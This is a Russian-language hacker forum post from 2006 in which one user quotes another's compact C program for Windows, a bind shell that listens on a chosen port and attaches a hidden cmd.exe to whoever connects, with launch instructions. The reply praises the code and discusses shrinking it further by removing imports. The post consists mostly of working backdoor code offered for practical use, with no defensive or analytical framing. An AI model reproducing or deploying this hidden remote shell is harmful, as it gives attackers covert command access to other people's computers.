Показать сообщение отдельно

  #2  
Старый 01.06.2006, 12:43
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию

Цитата:
Сообщение от grinay  
Код:
#include <winsock2.h>
 int main(int argc, char* argv[]){
   STARTUPINFO si;
   struct sockaddr_in sa;
   PROCESS_INFORMATION pi;
   int s;
   WSADATA HWSAdata;
   WSAStartup(0x101,&HWSAdata);
   s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
   sa.sin_family=AF_INET;
   sa.sin_port=htons((unsigned short)atoi(argv[1]));
   sa.sin_addr.s_addr=0x00;
   bind(s,(struct sockaddr *)&sa, 16);
   listen(s,1);
   s= accept(s,(struct sockaddr *)&sa,NULL);
   si.cb=sizeof(si);
   si.wShowWindow=SW_HIDE;
   si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
   si.hStdInput=si.hStdOutput = si.hStdError = (void *) s;
   si.lpDesktop=si.lpTitle=(char *) 0x0000;
   si.lpReserved2=NULL;
   CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
Этот думаю по практичнее и по меньше
запуск идет так
bind.exe port
пример:
bind.exe 4567

ай молодец, чет я туплю последнее время)) кстати можно импорты снести - ща замучу) да и один минус - реконнекта уже не будет(
__________________


snow white world wide

Последний раз редактировалось sn0w; 01.06.2006 в 12:46..
 
Ответить с цитированием